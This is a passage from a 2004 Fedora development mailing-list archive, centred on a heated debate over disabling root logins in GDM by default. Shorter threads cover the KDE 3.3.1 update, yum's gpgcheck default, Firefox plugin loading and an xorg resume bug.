Oct 19 12:27:19 2004 From: kmaraas at broadpark.no (Kjartan Maraas) Date: Tue, 19 Oct 2004 14:27:19 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098130790.3777.4.camel@decepticon.boston.redhat.com> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> Message-ID: <1098188839.3981.21.camel@home.gnome.no> man, 18,.10.2004 kl. 16.19 -0400, skrev Colin Walters: > On Mon, 2004-10-18 at 21:28 +0200, Ronald S. Bultje wrote: > > On Mon, 2004-10-18 at 20:46, Colin Walters wrote: > > > One alternative instead would be have gnome-volume-control skip OSS > > > mixers for now. > > > > That's probably a good idea, given that you don't expect anyone to still > > use OSS... > > Done. > Could we get it to drop modems too please? :) I have a nice grey area titled "Intel 82801DB-ICH4 Modem [Alsa Mixer]" in the mixer... Cheers Kjartan From ndbecker2 at verizon.net Tue Oct 19 13:08:49 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Tue, 19 Oct 2004 09:08:49 -0400 Subject: no certmanager in kdepim? Message-ID: Any chance of a working certmanager as part of kdepim? From jon at jonshouse.co.uk Tue Oct 19 13:09:44 2004 From: jon at jonshouse.co.uk (Jonathan Andrews) Date: Tue, 19 Oct 2004 14:09:44 +0100 Subject: Lock screen does not work for root in gnome In-Reply-To: <604aa79104101818126fb6f7e8@mail.gmail.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> Message-ID: <1098191383.3627.35.camel@jonspc> On Tue, 2004-10-19 at 02:12, Jeff Spaleta wrote: > On Tue, 19 Oct 2004 01:44:26 +0100, Jonathan Andrews > wrote: > > Bite me ! > > Tell me where i get in line. > > > Users should have the power to choose, even if you personally think its > > a poor choice. > > Choose what? Choose to use less secure defaults? Choose to recompile > software using less secure settings? Choose to write their own > software? > > Here let me reparse what seth said with my "by default" clause > post-processor and see if you can stomach my version: > > Disable root graphical logins..... by default > Period. > make it so gdm or kdm or xdm just exit... by default > hell, you could make the xinitrc script handle it...by default: > if your uid is 0 then you throw up a hate-filled messaged and > exit....by default > EOD.... by default > > I'll grant you that there are some bizarro pieces of software out > there, but if they require you to be logged into X as root, that > software has to be considered at the very least buggy if not > malicious. But I see nothing wrong with making the default settings > for gdm revoke all root user attempts at logging in..by default. And I > see no problem taking a more aggressive stance by hardcoding a well > commented root login check into xinitrc that anyone who wants to break > the no root login must find and comment out. As a local admin, you > would still have the choice to reconfigure gdm or the xinitrc script > to lift those defaults. > > > If you have such a security fetish then go play with firewall rules in > > the corner and leave us users to decide how to operate our machines ! > > No, security is a community wide problem. As we learn every day, > insecurely admined boxes on the public internet can cause problems for > everyone and not just the person with the hacked box who doesn't take > the time or have the patience to do things securely. Security, sir, is > everyone's problem. And I'd much rather see buggy graphical software > fixed so that it doesn't require root login, than to have someone > inexperienced(who doesn't have the skill to even reconfigure a shell > script like xinitrc to enable root login) think that loginning into as > root is an acceptible workaround for common problems. I think you simply miss my point. Ok, so yet another Unix security person with the attitude that "mummy knows best". Those who are learning will WANT to login as root to configure, its the way they think it should work - they are going to look lost and confused if you start shipping things with defaults that stop them. As for pop ups with "Don't do this, its naughty" - BAHHH !!! DONT !!! On the one hand we have security people trying to take out things people need, on the other we have the GUI people trying to put in more pointless crap. Those who want better security will configure things for it, however some people don't want to know. I for example have a number of systems that use X servers to display status information and video. At one point I thought I was going to have to re-write the whole thing next time I upgraded because some security minded person at Xfree decided that removing the "-ac" option from the X server is "more secure" Don't force users who want a media player in the living room, or just want to have a play with linux to behave like administrators. A lot of home users run with almost no security at all - worry about the network cable not the physical machine...... Jon From rdieter at math.unl.edu Tue Oct 19 13:30:29 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Tue, 19 Oct 2004 08:30:29 -0500 (CDT) Subject: no certmanager in kdepim? In-Reply-To: References: Message-ID: On Tue, 19 Oct 2004, Neal D. Becker wrote: > Any chance of a working certmanager as part of kdepim? How does it not work now? -- Rex From d.lesca at solinos.it Tue Oct 19 13:37:50 2004 From: d.lesca at solinos.it (Dario Lesca) Date: Tue, 19 Oct 2004 15:37:50 +0200 Subject: fc3t3: selinux: useradd Message-ID: <1098193070.2623.69.camel@lesca.home.solinos.it> I have install fc3t3 and this is some little problem witch I have found: 1) If selinux is active is not possible add a new user, not even via first-boot pannel 2) missing mount point /mnt/cdrom, then system-config-package not work Many thanks to all for the great jobs -- Dario Lesca From nphilipp at redhat.com Tue Oct 19 13:50:32 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Tue, 19 Oct 2004 15:50:32 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098191383.3627.35.camel@jonspc> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> Message-ID: <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> So, it's not Friday yet... On Tue, 2004-10-19 at 14:09 +0100, Jonathan Andrews wrote: > On Tue, 2004-10-19 at 02:12, Jeff Spaleta wrote: > > On Tue, 19 Oct 2004 01:44:26 +0100, Jonathan Andrews > > wrote: > > > Bite me ! > > > > Tell me where i get in line. > > > > > Users should have the power to choose, even if you personally think its > > > a poor choice. > > > > Choose what? Choose to use less secure defaults? Choose to recompile > > software using less secure settings? Choose to write their own > > software? > > > > Here let me reparse what seth said with my "by default" clause > > post-processor and see if you can stomach my version: > > > > Disable root graphical logins..... by default > > Period. > > make it so gdm or kdm or xdm just exit... by default > > hell, you could make the xinitrc script handle it...by default: > > if your uid is 0 then you throw up a hate-filled messaged and > > exit....by default > > EOD.... by default > > > > I'll grant you that there are some bizarro pieces of software out > > there, but if they require you to be logged into X as root, that > > software has to be considered at the very least buggy if not > > malicious. But I see nothing wrong with making the default settings > > for gdm revoke all root user attempts at logging in..by default. And I > > see no problem taking a more aggressive stance by hardcoding a well > > commented root login check into xinitrc that anyone who wants to break > > the no root login must find and comment out. As a local admin, you > > would still have the choice to reconfigure gdm or the xinitrc script > > to lift those defaults. > > > > > If you have such a security fetish then go play with firewall rules in > > > the corner and leave us users to decide how to operate our machines ! > > > > No, security is a community wide problem. As we learn every day, > > insecurely admined boxes on the public internet can cause problems for > > everyone and not just the person with the hacked box who doesn't take > > the time or have the patience to do things securely. Security, sir, is > > everyone's problem. And I'd much rather see buggy graphical software > > fixed so that it doesn't require root login, than to have someone > > inexperienced(who doesn't have the skill to even reconfigure a shell > > script like xinitrc to enable root login) think that loginning into as > > root is an acceptible workaround for common problems. > > I think you simply miss my point. > > Ok, so yet another Unix security person with the attitude that "mummy > knows best". > > Those who are learning will WANT to login as root to configure, its the > way they think it should work - they are going to look lost and confused > if you start shipping things with defaults that stop them. I think we all agree that regarding security the human factor is the weakest point in the equation. You need to get these points across: - that regular updating is a good thing, to achieve that you make updating easy for the user (yum, up2date, apt, ...) - that regularly working as an ordinary user instead of always as root is a good measure to make it harder for viruses, dialers, etc.; > As for pop ups with "Don't do this, its naughty" - BAHHH !!! DONT !!! On > the one hand we have security people trying to take out things people > need, on the other we have the GUI people trying to put in more > pointless crap. "Informing users about risks they're exposing themselves to is a bad thing" -- do you really want anyone to believe that? I guess something like: """ Logging in as root is not encouraged because: - ... viruses ... - ... dialers ... - ... yadda yadda yadda You can just run the configuration tools from your normal user login, or switch temporarily to root by ... (explain su, sudo, ...) """ won't be taken as patronizing. > Those who want better security will configure things for it, however > some people don't want to know. We basically have two choices: - Making the system "easy" while at the same time making compromises on security. This is what Windows does. - Making the system as secure as we can get it while still allowing the user to do the things he wants to do. That is what we try to achieve. You really want to vote for the first option? I guess you're in the minority then ;-). > I for example have a number of systems that use X servers to display > status information and video. At one point I thought I was going to have > to re-write the whole thing next time I upgraded because some security > minded person at Xfree decided that removing the "-ac" option from the X > server is "more secure" I haven't needed that option, so why should you? > Don't force users who want a media player in the living room, or just > want to have a play with linux to behave like administrators. A lot of > home users run with almost no security at all - worry about the network > cable not the physical machine...... As we're still lacking the make_this_machine_a_media_appliance-1.0-1.rpm package, we can safely (securely? ;-) assume that the person who wants to do that needs to fiddle a good deal anyway so editing gdm.conf or similar files isn't to onerous IMO. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From ndbecker2 at verizon.net Tue Oct 19 13:57:21 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Tue, 19 Oct 2004 09:57:21 -0400 Subject: no certmanager in kdepim? References: Message-ID: Rex Dieter wrote: > On Tue, 19 Oct 2004, Neal D. Becker wrote: > >> Any chance of a working certmanager as part of kdepim? > > How does it not work now? > > -- Rex > kmail/tools/certificate manager gives me an error dialog: The crypto plugin could not be initialized. Certificate Manager will terminate now. locate certmanager just lists various documentation, but no evidence of a real app. I should have all of current rawhide installed. From jon at jonshouse.co.uk Tue Oct 19 14:10:04 2004 From: jon at jonshouse.co.uk (Jonathan Andrews) Date: Tue, 19 Oct 2004 15:10:04 +0100 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1098195003.3627.54.camel@jonspc> On Tue, 2004-10-19 at 14:50, Nils Philippsen wrote: > So, it's not Friday yet... > > On Tue, 2004-10-19 at 14:09 +0100, Jonathan Andrews wrote: > > On Tue, 2004-10-19 at 02:12, Jeff Spaleta wrote: > > > On Tue, 19 Oct 2004 01:44:26 +0100, Jonathan Andrews > > > wrote: > > > > Bite me ! > > > > > > Tell me where i get in line. > > > > > > > Users should have the power to choose, even if you personally think its > > > > a poor choice. > > > > > > Choose what? Choose to use less secure defaults? Choose to recompile > > > software using less secure settings? Choose to write their own > > > software? > > > > > > Here let me reparse what seth said with my "by default" clause > > > post-processor and see if you can stomach my version: > > > > > > Disable root graphical logins..... by default > > > Period. > > > make it so gdm or kdm or xdm just exit... by default > > > hell, you could make the xinitrc script handle it...by default: > > > if your uid is 0 then you throw up a hate-filled messaged and > > > exit....by default > > > EOD.... by default > > > > > > I'll grant you that there are some bizarro pieces of software out > > > there, but if they require you to be logged into X as root, that > > > software has to be considered at the very least buggy if not > > > malicious. But I see nothing wrong with making the default settings > > > for gdm revoke all root user attempts at logging in..by default. And I > > > see no problem taking a more aggressive stance by hardcoding a well > > > commented root login check into xinitrc that anyone who wants to break > > > the no root login must find and comment out. As a local admin, you > > > would still have the choice to reconfigure gdm or the xinitrc script > > > to lift those defaults. > > > > > > > If you have such a security fetish then go play with firewall rules in > > > > the corner and leave us users to decide how to operate our machines ! > > > > > > No, security is a community wide problem. As we learn every day, > > > insecurely admined boxes on the public internet can cause problems for > > > everyone and not just the person with the hacked box who doesn't take > > > the time or have the patience to do things securely. Security, sir, is > > > everyone's problem. And I'd much rather see buggy graphical software > > > fixed so that it doesn't require root login, than to have someone > > > inexperienced(who doesn't have the skill to even reconfigure a shell > > > script like xinitrc to enable root login) think that loginning into as > > > root is an acceptible workaround for common problems. > > > > I think you simply miss my point. > > > > Ok, so yet another Unix security person with the attitude that "mummy > > knows best". > > > > Those who are learning will WANT to login as root to configure, its the > > way they think it should work - they are going to look lost and confused > > if you start shipping things with defaults that stop them. > > I think we all agree that regarding security the human factor is the > weakest point in the equation. You need to get these points across: > > - that regular updating is a good thing, to achieve that you make > updating easy for the user (yum, up2date, apt, ...) > - that regularly working as an ordinary user instead of always as root > is a good measure to make it harder for viruses, dialers, etc.; > > > As for pop ups with "Don't do this, its naughty" - BAHHH !!! DONT !!! On > > the one hand we have security people trying to take out things people > > need, on the other we have the GUI people trying to put in more > > pointless crap. > > "Informing users about risks they're exposing themselves to is a bad > thing" -- do you really want anyone to believe that? > > I guess something like: > > """ > Logging in as root is not encouraged because: > - ... viruses ... > - ... dialers ... > - ... yadda yadda yadda > You can just run the configuration tools from your normal user login, or > switch temporarily to root by ... (explain su, sudo, ...) > """ > > won't be taken as patronizing. > > > Those who want better security will configure things for it, however > > some people don't want to know. > > We basically have two choices: > > - Making the system "easy" while at the same time making compromises on > security. This is what Windows does. > - Making the system as secure as we can get it while still allowing the > user to do the things he wants to do. That is what we try to achieve. > > You really want to vote for the first option? I guess you're in the > minority then ;-) Its not a question of easy ! Its a question of arrogance .... your argument is that because you know its a bad idea people should not be able to do it. Ok - I could live with a warning .... even better if it only happens the first time root logs in, but disabling root logins in X is only going to cause problems, unless you can get every other distro to follow suite ..... > > > I for example have a number of systems that use X servers to display > > status information and video. At one point I thought I was going to have > > to re-write the whole thing next time I upgraded because some security > > minded person at Xfree decided that removing the "-ac" option from the X > > server is "more secure" > > I haven't needed that option, so why should you? This is a windup right ? Because you personally have never needed it it should not exist, you have been in Unix to long ........ > > Don't force users who want a media player in the living room, or just > > want to have a play with linux to behave like administrators. A lot of > > home users run with almost no security at all - worry about the network > > cable not the physical machine...... > > As we're still lacking the make_this_machine_a_media_appliance-1.0-1.rpm > package, we can safely (securely? ;-) assume that the person who wants > to do that needs to fiddle a good deal anyway so editing gdm.conf or > similar files isn't to onerous IMO. I see situations like this. novice user 1 - "how do I configure N", novice user 2 - "log in as root and run this GUI tool" novice user 1 - "It wont let me" novice user 2 - "My machine does ?" etc etc etc etc Makes we wonder what userbase fedora is aimed at ? Should home users be using Debian - if so who fedora for ? > As we're still lacking the make_this_machine_a_media_appliance-1.0-1.rpm > package Bzzz ... wrong !!! I know a reasonable number of users who are using fedora for exactly that. The apt repositories contain a good version of mplayer and Xine with the common codecs. Install those and click a divx,xvid,mp3 and one media player - with no annoying pop ups during playback. I have a box under my TV exactly for this :-) I suppose you want to pop-up a window in xine now saying "Playing this video while logged in as root is a security risk" Jon From caillon at redhat.com Tue Oct 19 14:11:42 2004 From: caillon at redhat.com (Christopher Aillon) Date: Tue, 19 Oct 2004 10:11:42 -0400 Subject: Latest firefox doesn't pick up plugins in /usr/lib/mozilla In-Reply-To: <1098176002l.4089l.2l@devel.mpeters.us> References: <1098153946.6090.3.camel@tiger> <1098176002l.4089l.2l@devel.mpeters.us> Message-ID: <4175209E.8030205@redhat.com> Michael A. Peters wrote: > On 10/18/2004 07:45:46 PM, Louis Garcia wrote: > >> >> I removed and installed the plugins again and it works now. >> Don't know what happened there. > > > If mozilla (firebird, whatever flavor) is doing anything - it won't > load new plugins until all process have finished (IE it's running) - > then it will load them next time it starts. > > IE if you had a download window open or something - the new plugins > wouldn't be registered until ALL mozilla windows were closed and the > browser started fresh. That's not entirely true. It looks for new plugins every time it is asked to check the available plugins. That does happen at startup. It also happens whenever you view about:plugins, or otherwise initiate a call to navigator.plugins.refresh() From terraformers at gmx.net Tue Oct 19 14:16:31 2004 From: terraformers at gmx.net (Lars) Date: Tue, 19 Oct 2004 16:16:31 +0200 Subject: Should I mention kde-3.3.1? References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> Message-ID: kde 3.3.1 is still not in rawhide. would be great to have it there. thanks L Jason L Tibbitts III wrote: >>>>>> "d" == dragoran writes: > > d> will kde 3.3.1 be in fc3 or it is to late now? > > It seems to be in Rawhide now. > > - J< > From laroche at redhat.com Tue Oct 19 14:33:18 2004 From: laroche at redhat.com (Florian La Roche) Date: Tue, 19 Oct 2004 16:33:18 +0200 Subject: Should I mention kde-3.3.1? In-Reply-To: References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> Message-ID: <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> On Tue, Oct 19, 2004 at 04:16:31PM +0200, Lars wrote: > kde 3.3.1 is still not in rawhide. > would be great to have it there. We've been closing down the trees and try to focus on bug-fixing only, so this version update was vetoed. Than Ngo wants to have kde 3.3.1 rpm packages for FC3 available from kde.org. greetings, Florian La Roche From elanthis at awesomeplay.com Tue Oct 19 14:32:51 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Tue, 19 Oct 2004 10:32:51 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098195003.3627.54.camel@jonspc> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> Message-ID: <1098196371.3860.19.camel@support02.civic.twp.ypsilanti.mi.us> On Tue, 2004-10-19 at 15:10 +0100, Jonathan Andrews wrote: > On Tue, 2004-10-19 at 14:50, Nils Philippsen wrote: snip... (try cutting down the mails here people) > > We basically have two choices: > > > > - Making the system "easy" while at the same time making compromises on > > security. This is what Windows does. > > - Making the system as secure as we can get it while still allowing the > > user to do the things he wants to do. That is what we try to achieve. > > > > You really want to vote for the first option? I guess you're in the > > minority then ;-) > > Its not a question of easy ! Its a question of arrogance .... your > argument is that because you know its a bad idea people should not be > able to do it. Ok - I could live with a warning .... even better if it > only happens the first time root logs in, but disabling root logins in X > is only going to cause problems, unless you can get every other distro > to follow suite ..... If you are experienced enough to have a reason to run anything as root, you are experienced enough to click the checkbox in the GDM configuration to turn root logins back on. Many other home-user oriented distros disable root logins, or even get rid of the entire account at all. > > As we're still lacking the make_this_machine_a_media_appliance-1.0-1.rpm > > package, we can safely (securely? ;-) assume that the person who wants > > to do that needs to fiddle a good deal anyway so editing gdm.conf or > > similar files isn't to onerous IMO. > > I see situations like this. > > novice user 1 - "how do I configure N", > novice user 2 - "log in as root and run this GUI tool" > novice user 1 - "It wont let me" > novice user 2 - "My machine does ?" > etc etc etc etc So the problem is you have two novices, neither of which know what the hell they're doing, running into problems caused by differences by using two completely different operating systems? (I don't care if they have the same kernel or glibc or anything, those are teensy minor bits of what makes an OS.) Nothing stops the users from running GUI tools as root. The configuration tools in Fedora will *still* run as root. They'll still popup and ask for a password. (Either the root password, or the user's password using the SELinux roles mechanism or sudo.) If a user needs to run a tool as root, they can log in as their user and use su or sudo. Simple. It can even be a graphical tool. It Just Works(tm). Not to mention it's a hell of a lot more convenient than logging in as a whole different user at the login screen again. > > Makes we wonder what userbase fedora is aimed at ? Should home users be > using Debian - if so who fedora for ? *snort* Debian. For home users. Riiiight. ;-) > > I suppose you want to pop-up a window in xine now saying "Playing this > video while logged in as root is a security risk" YES! These are apps that often use Windows DLLs and/or very complex codec libraries that have had zero code review or testing. It is absolutely moronic to be running random movies you get as fricken' root. There's *no* reason at all that xine can't play the same videos as a normal user. If your PVR is configured to run things as root, you misconfigured your box. It is flat out stupid and it's perfectly good that the OS tries to stop you. Then maybe you'll go online, look for help, and find the documentation telling you how to configure the box intelligently. > > Jon > > > -- Sean Middleditch AwesomePlay Productions, Inc. From veguilla at hpcf.upr.edu Tue Oct 19 14:40:36 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 19 Oct 2004 10:40:36 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098195003.3627.54.camel@jonspc> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> Message-ID: <41752764.10509@hpcf.upr.edu> Jonathan Andrews wrote: >I see situations like this. > >novice user 1 - "how do I configure N", >novice user 2 - "log in as root and run this GUI tool" >novice user 1 - "It wont let me" >novice user 2 - "My machine does ?" >etc etc etc etc > > You don't need to log in as root to run a GUI tool as root. >Makes we wonder what userbase fedora is aimed at ? Should home users be >using Debian - if so who fedora for ? > > Well, have you considered that maybe the situation you are describing is not that common for most home users? I'm not saying it is or it isn't... but I'm not the one wondering whether fedora is aimed at home users based on what could possibly be a special cases. Should I complaing that Fedora is not friendly to gamers because I need to be aware of performance and security issues in order to run a "insert your favorite game here" dedicated server? Regards, Ricardo Veguilla From feliciano.matias at free.fr Tue Oct 19 14:41:21 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Tue, 19 Oct 2004 16:41:21 +0200 Subject: rawhide report: 20041019 changes (yum: gpgcheck) In-Reply-To: <200410191157.i9JBv6606112@porkchop.devel.redhat.com> References: <200410191157.i9JBv6606112@porkchop.devel.redhat.com> Message-ID: <1098196881.7507.8.camel@localhost.localdomain> Le mardi 19 octobre 2004 ? 07:57 -0400, Build System a ?crit : > > yum-2.1.9-1 > ----------- > (snip) > - turn on gpgchecking by default From rom /etc/yum.conf : [main] ... gpgcheck=1 ... [development] <= server section name=.... From rom "man yum.conf" : [main] options (...) [server] options The server section(s) take the following form: (...) gpgcheck Seems to work here. yum.conf man page should be updated. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From s.mako at gmx.net Tue Oct 19 14:41:17 2004 From: s.mako at gmx.net (Zoltan Kota) Date: Tue, 19 Oct 2004 16:41:17 +0200 (CEST) Subject: floppy install Message-ID: Hi, Would it be possible to make boot (and module) disks for a floppy-start net installation? (Like debian and suse have for instance) There may be boxes without cdrom. Zoltan From skvidal at phy.duke.edu Tue Oct 19 14:47:35 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Tue, 19 Oct 2004 10:47:35 -0400 Subject: rawhide report: 20041019 changes (yum: gpgcheck) In-Reply-To: <1098196881.7507.8.camel@localhost.localdomain> References: <200410191157.i9JBv6606112@porkchop.devel.redhat.com> <1098196881.7507.8.camel@localhost.localdomain> Message-ID: <1098197255.30531.39.camel@binkley> On Tue, 2004-10-19 at 16:41 +0200, Matias F?liciano wrote: > Le mardi 19 octobre 2004 ? 07:57 -0400, Build System a ?crit : > > > > > yum-2.1.9-1 > > ----------- > > (snip) > > - turn on gpgchecking by default > > Seems to work here. yum.conf man page should be updated. Done. -sv From michael at insitesinc.com Tue Oct 19 14:52:55 2004 From: michael at insitesinc.com (Michael Favia) Date: Tue, 19 Oct 2004 09:52:55 -0500 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098195003.3627.54.camel@jonspc> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> Message-ID: <41752A47.1090408@insitesinc.com> Jonathan Andrews wrote: > Its not a question of easy ! Its a question of arrogance .... your > >argument is that because you know its a bad idea people should not be >able to do it. Ok - I could live with a warning .... even better if it >only happens the first time root logs in, but disabling root logins in X >is only going to cause problems, unless you can get every other distro >to follow suite ..... > > It is a bad idea and because many users that migrate over view root as just another user with more power and fewer nags it is a good idea to set system defaults that encourage them to operate the user correctly. Others will follow suit. Quite honesty it doenst matter what "you" can live with. The goals of defaults is to encompass the needs and preferences of the largest aspect of the user base. I can respect that you think the changes will make your life less convienant but it will in fact be a good change for most users, especially as more migrate over from microsoft based OSes. >novice user 1 - "how do I configure N", >novice user 2 - "log in as root and run this GUI tool" >novice user 1 - "It wont let me" >novice user 2 - "My machine does ?" >etc etc etc etc > > Blind leading the blind? I dont care how convienant the distro is this will cause trouble. Personal insults are unwelcome and often sign of a weak argument. I believe Fedora's desktop (gnome) will have to simplify, unify, and baby proof itself to a great degree in the coming months and years if it is to be a success . In most cases this wont result in a loss of functionality but if the situation is grave enough it may be justified to do so. In this case it isnt a problem or an issue. I can understand that you may view this as a neutering but ask that you understand that is it is the best interest of the distribution in the long run. -mf From jon at jonshouse.co.uk Tue Oct 19 15:09:34 2004 From: jon at jonshouse.co.uk (Jonathan Andrews) Date: Tue, 19 Oct 2004 16:09:34 +0100 Subject: Lock screen does not work for root in gnome In-Reply-To: <41752764.10509@hpcf.upr.edu> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> <41752764.10509@hpcf.upr.edu> Message-ID: <1098198573.3627.123.camel@jonspc> On Tue, 2004-10-19 at 15:40, Ricardo Veguilla wrote: > Jonathan Andrews wrote: > You don't need to log in as root to run a GUI tool as root. True > > >Makes we wonder what userbase fedora is aimed at ? Should home users be > >using Debian - if so who fedora for ? > > > > > Well, have you considered that maybe the situation you are describing is > not that common for most home users? I'm not saying it is or it isn't... > but I'm not the one wondering whether fedora is aimed at home users > based on what could possibly be a special cases. Its partly out of date on my part, xine didn't used to play properly as non-root. Similar with some of the firewire applications. Its not common, but I see a dangerous trend amongst security people to stamp down hard on anything thats insecure without thinking it through for all users and workloads. It would be good to discourage people from surfing as root, but at the same time it would be bad to stop people logging into X as root. Users have the right to be stupid...... > Should I complaing that Fedora is not friendly to gamers because I need > to be aware of performance and security issues in order to run a "insert > your favorite game here" dedicated server? This tread has degraded, I was originally answering a comment that xdm,gdm,kdm should have root logins disabled. Not an "option" to disable/enabled... but remove the possibility of loggining in as root without first editing xinit scripts. I just wanted it noted that from a user perspective this was arrogant ! Jon From jgorny at aurox.org Tue Oct 19 15:22:14 2004 From: jgorny at aurox.org (Jaroslaw Gorny) Date: Tue, 19 Oct 2004 17:22:14 +0200 Subject: Garbage screen after resume from suspend to disk Message-ID: <20041019172214.215c8138@pro8000x.aurox.org> They've already fixed it in xorg, see: https://freedesktop.org/bugzilla/show_bug.cgi?id=1220 patch is very simple and short. Any reasons why this is not applied in rawhide? Is it possible to have it in FC3? cheers, Jarek From jon at jonshouse.co.uk Tue Oct 19 15:22:54 2004 From: jon at jonshouse.co.uk (Jonathan Andrews) Date: Tue, 19 Oct 2004 16:22:54 +0100 Subject: Lock screen does not work for root in gnome In-Reply-To: <41752A47.1090408@insitesinc.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> <41752A47.1090408@insitesinc.com> Message-ID: <1098199374.3627.150.camel@jonspc> > Personal insults are unwelcome and often sign of a weak argument. Not being from the USA I assumed "bite me" was only of slight offence. Guess I was wrong, sorry to all offended ! > I > believe Fedora's desktop (gnome) will have to simplify, unify, and baby > proof itself to a great degree in the coming months and years if it is > to be a success . In most cases this wont result in a loss of > functionality but if the situation is grave enough it may be justified > to do so. In this case it isnt a problem or an issue. I can understand > that you may view this as a neutering but ask that you understand that > is it is the best interest of the distribution in the long run. Where does it end ... more wizards and hand holding, small animated characters to help guide people through, while at the same time removing anything sharp so users don't cut themselves? I can understand telling users running X as root is bad, but removing the ability to do so seems a bit nanny. Jon From skvidal at phy.duke.edu Tue Oct 19 15:22:40 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Tue, 19 Oct 2004 11:22:40 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098199374.3627.150.camel@jonspc> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> 